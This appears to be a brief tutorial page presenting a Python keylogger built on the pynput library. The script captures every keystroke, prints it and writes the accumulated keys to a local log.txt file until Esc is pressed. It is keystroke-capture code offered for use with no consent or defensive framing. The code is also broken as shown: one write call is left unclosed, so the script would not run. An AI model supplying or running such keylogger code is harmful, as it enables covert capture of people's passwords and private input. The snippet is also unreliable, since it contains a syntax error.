How to use pynput to make a Keylogger?

# keylogger using pynput module
 
import pynput
from pynput.keyboard import Key, Listener
 
keys = []
 
def on_press(key):
    
    keys.append(key)
    write_file(keys)
    
    try:
        print('alphanumeric key {0} pressed'.format(key.char))
        
    except AttributeError:
        print('special key {0} pressed'.format(key))
         
def write_file(keys):
    
    with open('log.txt', 'w') as f:
        for key in keys:
            
            # removing ''
            k = str(key).replace("'", "")
            f.write(k
                    
            # explicitly adding a space after 
            # every keystroke for readability
            f.write(' ') 
             
def on_release(key):
                    
    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False
 
 
with Listener(on_press = on_press,
              on_release = on_release) as listener:
                    
    listener.join()